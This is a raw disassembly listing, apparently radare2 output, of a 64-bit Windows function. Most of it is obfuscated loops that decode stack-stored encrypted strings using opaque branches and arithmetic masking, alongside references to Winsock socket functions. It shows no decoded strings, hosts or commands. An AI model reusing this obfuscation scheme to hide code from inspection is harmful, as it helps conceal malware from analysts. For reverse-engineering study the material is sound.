jmp 0x140175566
lea rax, [rbp + 0x22ab]
mov qword [rbp + 0xe0], rax
mov byte [rbp + 0x2330], 0xb1
mov byte [rbp + 0x2331], 0x79
mov byte [rbp + 0x2332], 0x8d
mov byte [rbp + 0x2333], 0x7b
mov byte [rbp + 0x2334], 0x9d
mov byte [rbp + 0x2335], 0x7d
mov byte [rbp + 0x2336], 0x8e
mov byte [rbp + 0x2337], 0x7f
mov byte [rbp + 0x2338], 0x41
mov byte [rbp + 0x2339], WSACleanup
mov byte [rbp + 0x233a], 0xb3
mov byte [rbp + 0x233b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x233c], 0x8b
mov byte [rbp + 0x233d], 0x75
mov byte [rbp + 0x233e], 0x93
mov byte [rbp + 0x233f], 0x77
mov byte [rbp + 0x2340], 0x88
mov byte [rbp + 0x2341], 9
mov byte [rbp + 0x2342], 0xfc
mov byte [rbp + 0x2343], reloc.WS2_32.dll_inet_addr
mov byte [rbp + 0x2344], 0xa
mov byte [rbp + 0x2345], recvfrom
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2346], xmm0
mov dword [rbp + 0x2356], eax
mov word [rbp + 0x235a], ax
mov byte [rbp + 0x235c], al
movzx r11d, byte [rbp + 0x5d00]
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, rdi
movabs rdx, 0x4e86e92d1ff6495b
movabs rcx, 0x1c1ece26b8610faf
cmp rbx, 0x2d
jae 0x140176288
movzx r10d, byte [rbp + rbx + 0x2330]
mov rdi, r10
nop dword [rax]
cmp r8, rbx
ja 0x14017627f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14017569b
add rcx, rbx
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
add r11b, 0x37
jmp 0x1401756c7
je 0x1401761f3
inc rax
cmp r8, rax
je 0x14017617f
lea rax, [r9 + 6]
cmp r8, rax
je 0x140176154
lea rax, [r9 + 2]
cmp r8, rax
je 0x140176100
cmp r9, rbx
ja 0x140176276
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x1401756f4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7d
add r11b, dl
jmp 0x140175740
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401760db
inc rax
cmp r8, rax
je 0x1401760ad
lea rax, [rcx + 1]
cmp r8, rax
je 0x140176075
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017601e
lea rax, [r9 + 8]
cmp r8, rax
je 0x140175fe8
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140175c86
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140175c5e
lea rax, [r9 + 8]
cmp r8, rax
je 0x140175c2c
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140175bfd
lea rax, [r9 + 4]
cmp r8, rax
je 0x140175bd8
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140175bac
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140175b87
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140175b5e
lea r8, [r9 + 6]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14017624f
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140176228
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1401758f9
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1401758c8
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1401758a0
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140175a8a
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140175a5a
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140175750
lea r8, [r9 + 2]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140175a24
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1401759fe
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1401759d6
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1401759b1
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140175985
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140175960
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140175933
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x80]
jmp 0x140175750
movabs rdx, 0x44b9ef061cb38405
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x23
add r11b, dl
jmp 0x140175740
movabs rdx, 0xc7c52b8abf164a7
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x6f
add r11b, dl
movabs rdx, 0x4e86e92d1ff6495b
jmp 0x1401756c7
movabs rdx, 0xd43eb66b3b2f4549
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
inc dl
add r11b, dl
movabs rdx, 0x4e86e92d1ff6495b
movabs rcx, 0x1c1ece26b8610faf
jmp 0x14017566a
movabs rcx, 0x3bf9ad1b8ef02b7a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x56
inc r9
dec rbx
inc rbx
jmp 0x140175643
movabs rdx, 0xcb7e7480ad6becbe
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x32
jmp 0x140175f86
movabs rdx, 0x9340d8333ca9cd60
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
jmp 0x140176094
movabs rcx, 0x5b033be5cbe7ae02
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xe
jmp 0x140176094
movabs rdx, 0x22c59f985b258ea4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x14017603d
movabs rdx, 0xea88034aea636f46
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401761a2
movabs rcx, 0xb24a66fd79a14fe8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x58
movzx eax, byte [rbp + rbx + 0x2330]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140175643
movabs rcx, 0x25b0603bdfbc017d
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6b
mov byte [rbp + rbx + 0x2330], r11b
inc rbx
jmp 0x140175643
movabs rdx, 0x7cf78b538d75a363
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x4b
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x140175fbb
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140175d8f
movabs rdx, 0xb3571f39ef20bcb3
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x1b
add r11b, dl
cmp r8, 0x40
jae 0x140175f5d
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x140175e57
movabs rdx, 0x1de08670f17060e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x62
add r11b, dl
cmp r9, 0x3e8
jb 0x140175a7a
movabs rdx, 0x3446236d76ac3fba
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x2c]
jmp 0x14017611f
movabs rdx, 0x66ae3e73de417966
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017603d
movabs rcx, 0x2e70a2266d7f5a08
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x38
jmp 0x140176094
movabs rdx, 0xf63305d8fcbd3aaa
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
jmp 0x140176094
movabs rdx, 0xbdf5698b8bfb1b4c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x14
jmp 0x140175f86
movabs rdx, 0x85b7cd3e1b38fbee
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x140175643
movabs rdx, 0x4d7a30f0aa76dc90
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x140175643
movabs rdx, 0x153c94a339b4bd32
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5e
add r11b, dl
jmp 0x14017611f
lea rax, [r9 + 8]
cmp r8, rax
jae 0x140175cb4
movabs rdx, 0x1c1ece26b8610faf
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x37
jmp 0x140175aaa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140175cf7
movabs rdx, 0x9d0dd25a3fec92b6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x2330]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140175643
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140175d28
movabs rdx, 0xd890af52170d172
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1e
add r11b, dl
jmp 0x14017603d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140175d59
movabs rcx, 0x7e04439002f5102e
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x42
add r8, r9
jmp 0x140176094
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140175aad
movabs rdx, 0x5efab4c5c5fd8da6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017611f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140175dc0
movabs rdx, 0xeb94bb875fe2dc11
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x77
add r11b, dl
jmp 0x14017611f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140175df4
movabs rcx, 0x5c0ff42241671acd
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x65
dec rbx
inc rbx
jmp 0x140175643
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140175e22
movabs rcx, 0x4c8c90a93ad78e7
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x51
jmp 0x140176094
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140175aed
movabs rdx, 0x3d066558046f9845
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x1d
add r11b, dl
jmp 0x14017603d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140175e9a
movabs rdx, 0x3a1ba4b47fd9256c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x2330]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140175643
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140175ecb
movabs rdx, 0xaa96dd4f615d6428
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x14017603d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140175efc
movabs rcx, 0x1b1215ea42e1a2e4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3c
add r8, r9
jmp 0x140176094
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140175f25
movabs rdx, 0x534fb237b3a3c242
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x19
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140175f83
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140175b27
movabs rcx, 0x8b8d4e852465e1a0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
dec rbx
inc rbx
jmp 0x140175643
movabs rdx, 0x6c83bfbae76e5f18
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0x2330]
add r11b, r10b
add r11b, dl
movabs rcx, 0x88a28de19fcf6ec7
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x71
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx + 0x2330], r10b
add r8, r9
jmp 0x140176094
movabs rdx, 0xa4c15c0858307e76
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0x2330]
sub r11b, 0x3a
add r11b, dl
jmp 0x14017603d
movabs rcx, 0x48b167e616c963a9
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x61
movzx eax, byte [rbp + rbx + 0x2330]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140175643
movabs rcx, 0xd8362f4b354524ed
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7b
movabs rdx, 0xc0e02a2f10918e25
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 3
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x2330], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1401761a5
movabs rcx, 0x9ff892fdc483058f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x17
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140175643
movabs rcx, 0xbf0221c8017a8817
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x5f
inc r9
dec rbx
inc rbx
jmp 0x140175643
movabs rdx, 0x86c4857a90b868b9
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xf
add r11b, dl
jmp 0x14017611f
movabs rcx, 0x16494cdfaf3429fd
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x15
movabs rcx, 0x5064f1942f0d4f69
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x21
add r10b, cl
mov byte [rbp + rbx + 0x2330], r10b
inc r9
dec rbx
inc rbx
jmp 0x140175643
movabs rcx, 0xa5ce1444cdafeb41
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x39
dec rbx
inc rbx
jmp 0x140175643
mov r10, rdi
movabs rdx, 0x8c9a06c199e54e6b
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
add r11b, 0x13
add r11b, dl
movabs rdx, 0xdcfef855c8f29dd4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x2330], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x2330]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140175643
movabs rcx, 0x545c6a7429232f0d
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x5b
movzx eax, byte [rbp + rbx + 0x2330]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140175643
movabs rcx, 0x9c011a1dca6d25eb
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6d
xor edi, edi
jmp 0x14017563e
movabs rcx, 0x63c37dd059ab068d
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x25
xor edi, edi
jmp 0x14017562e
lea rdx, [rbp + 0x176acc4]
jmp 0x14017628f
lea rdx, [rbp + 0x117bc73]
jmp 0x14017628f
lea rdx, [rbp + 0x2330]
lea rcx, [rbp + 0x10f0]
call fcn.14013e790
nop
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x10f0]
lea rcx, [rsi + 0x58]
call fcn.1401a5f10
nop
lea rcx, [rbp + 0x10f0]
call fcn.14013ec20
xor edi, edi
mov qword [rbp + 0xe8], rdi
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x440]
call fcn.14015d390
lea r9, [rbp + 0xe8]
lea r8, [rbp + 0x440]
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x420]
call fcn.1401e8d40
nop
lea rcx, [rbp + 0xc0]
mov qword [rbp + 0x460], rcx
lea rcx, [rbp - 0x70]
mov qword [rbp + 0x468], rcx
lea r8, [rbp + 0x460]
lea rdx, [rbp + 0x470]
mov rcx, rax
call fcn.1401a6740
nop
lea rcx, [rbp + 0xc0]
mov qword [rbp + 0x480], rcx
lea rcx, [rbp - 0x70]
mov qword [rbp + 0x488], rcx
lea r8, [rbp + 0x480]
lea rdx, [rbp + 0x490]
mov rcx, rax
call fcn.1401a6ab0
nop
mov rcx, rax
call fcn.14015c4b0
nop
mov rcx, qword [rbp + 0x498]
test rcx, rcx
je 0x140176379
call fcn.140156840
nop
mov rcx, qword [rbp + 0x478]
test rcx, rcx
je 0x14017638b
call fcn.140156840
nop
mov rcx, qword [rbp + 0x458]
test rcx, rcx
je 0x14017639d
call fcn.140156840
nop
lea rcx, [rbp + 0xe8]
call fcn.14015a980
nop
cmp byte [rbp - 0x70], 0
je 0x140177188
mov byte [rbp + 0x840], 0xcd
mov byte [rbp + 0x841], 0x23
mov byte [rbp + 0x842], 0x22
mov byte [rbp + 0x843], 0x5a
mov byte [rbp + 0x844], 0x5c
mov byte [rbp + 0x845], 0xe9
xor eax, eax
mov qword [rbp + 0x846], rax
mov word [rbp + 0x84e], ax
mov byte [rbp + 0x850], al
movabs rsi, 0x1f855a8547a24181
movzx r11d, byte [rbp + 0x5d00]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, rdi
movabs rcx, 0x19e1c75bae13eabd
cmp rbx, 0x11
jae 0x140177170
movzx r10d, byte [rbp + rbx + 0x840]
mov rdx, r10
cmp r8, rbx
ja 0x140177158
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14017646e
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x2b
jmp 0x1401764a0
je 0x1401770c3
lea rax, [r9 + 3]
cmp r8, rax
je 0x140177025
lea rax, [r9 + 2]
cmp r8, rax
je 0x140176fe9
lea rax, [r9 + 5]
cmp r8, rax
je 0x140176f9a
nop dword [rax + rax]
cmp r9, rbx
ja 0x140177140
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1401764ca
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x79
jmp 0x140176510
lea rax, [r9 + 1]
cmp r8, rax
je 0x140176f45
inc rax
cmp r8, rax
je 0x140176f17
lea rax, [r9 + 2]
cmp r8, rax
je 0x140176eed
lea rax, [r9 + 5]
cmp r8, rax
je 0x140176ec8
lea rax, [r9 + 3]
cmp r8, rax
je 0x140176ea4
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140176ba2
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140176b7d
lea rax, [r9 + 6]
cmp r8, rax
je 0x140176b4b
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140176b21
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140176afc
lea rax, [r9 + 8]
cmp r8, rax
je 0x140176ad3
lea rax, [r9 + 9]
cmp r8, rax
je 0x140176aae
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140176a86
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140176a5d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140176a27
lea rax, [r9 + 1]
cmp r8, rax
je 0x140176520
lea r8, [r9 + 0x7a]
lea r9, [r8 + 2]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14017711c
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1401770f7
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140176728
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140176700
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1401766d8
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1401769c4
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140176964
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140176911
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1401768e1
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140176520
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x20]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1401768a7
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14017687e
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140176856
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14017682d
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140176804
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1401767df
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1401767b0
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14017677e
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140176759
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140176520
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x1000]
jmp 0x140176520
movabs rdx, 0xd973ec784d0749f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x59
add r11b, dl
jmp 0x140176510
movabs rdx, 0xd9d3b01028a89f25
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 3
add r11b, dl
jmp 0x1401764a0
movabs rdx, 0xa6102158cc80c9ab
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x53
add r11b, dl
movabs rcx, 0x19e1c75bae13eabd
jmp 0x140176440
movabs rdx, 0xfc2ad42a3d120c08
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x38
jmp 0x140176f65
movabs rdx, 0xc8674572e0ea368e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x140176423
movabs rdx, 0x94a3b6bb84c26114
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x140176423
movabs rdx, 0x60e02804289a8b9a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x36
jmp 0x140176fba
movabs rdx, 0x2d1c994ccc72b620
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140177009
movabs rdx, 0xf9590a95704ae0a6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017700c
movabs rdx, 0xc5957bde14230b2c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x140177046
movabs rdx, 0x91d1ed26b7fb35b2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140177079
movabs rdx, 0x5e0e5e6f5bd36038
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x840]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140176423
movabs rcx, 0xdca579a4f56fca87
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x4f
mov byte [rbp + rbx + 0x840], r11b
inc rbx
jmp 0x140176423
movabs rdx, 0xa8e1eaed9947f50d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5b
add r11b, dl
cmp r9, 0x28
jb 0x140176901
movabs rdx, 0x4ff56e875bef874e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x44]
jmp 0x140176f68
movabs rdx, 0x751e5c363d201f93
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 5
add r11b, dl
cmp r8, 3
jae 0x140176e43
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140176d6d
movabs rdx, 0x4a51db5dc261308a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140176931
movabs rdx, 0x415acd7ee0f84a19
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x51
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x140176e73
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140176ca9
movabs rdx, 0x2acc80d87abeef09
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3f
jmp 0x140176984
movabs rcx, 0xbd201f1fadcd8906
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2a
movzx eax, byte [rbp + rbx + 0x840]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140176423
movabs rdx, 0x895c906851a5b38c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140177079
movabs rdx, 0x559901b0f57dde12
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7e
add r11b, dl
jmp 0x140177046
movabs rcx, 0x21d572f999560898
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x28
jmp 0x14017700c
movabs rdx, 0xee11e4423d2e331e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140177009
movabs rdx, 0xba4e558ae1065da4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
jmp 0x140176fba
movabs rcx, 0x868ac6d384de882a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x26
dec rbx
inc rbx
jmp 0x140176423
movabs rdx, 0x52c7381c28b6b2b0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x140176423
movabs rdx, 0x1f03a964cc8edd36
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
